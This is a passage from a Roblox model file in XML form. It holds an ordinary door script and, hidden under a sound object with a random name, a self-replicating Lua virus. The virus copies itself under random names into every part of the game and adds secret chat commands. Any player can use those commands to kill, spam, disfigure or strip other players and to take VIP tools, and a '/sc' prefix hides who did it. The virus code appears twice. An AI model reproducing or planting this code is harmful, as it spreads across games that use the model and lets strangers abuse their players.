--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX429">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">11</int>
						<CoordinateFrame name="CFrame">
							<X>-20.5</X>
							<Y>61.9000015</Y>
							<Z>151.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">OneWayDoor</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.100000001</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>79</X>
							<Y>123</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX430">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">PushPack</string>
							<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX431">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2xdje</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX432">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ugwdq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX433">
						<Properties>
							<bool name="Looped">false</bool>
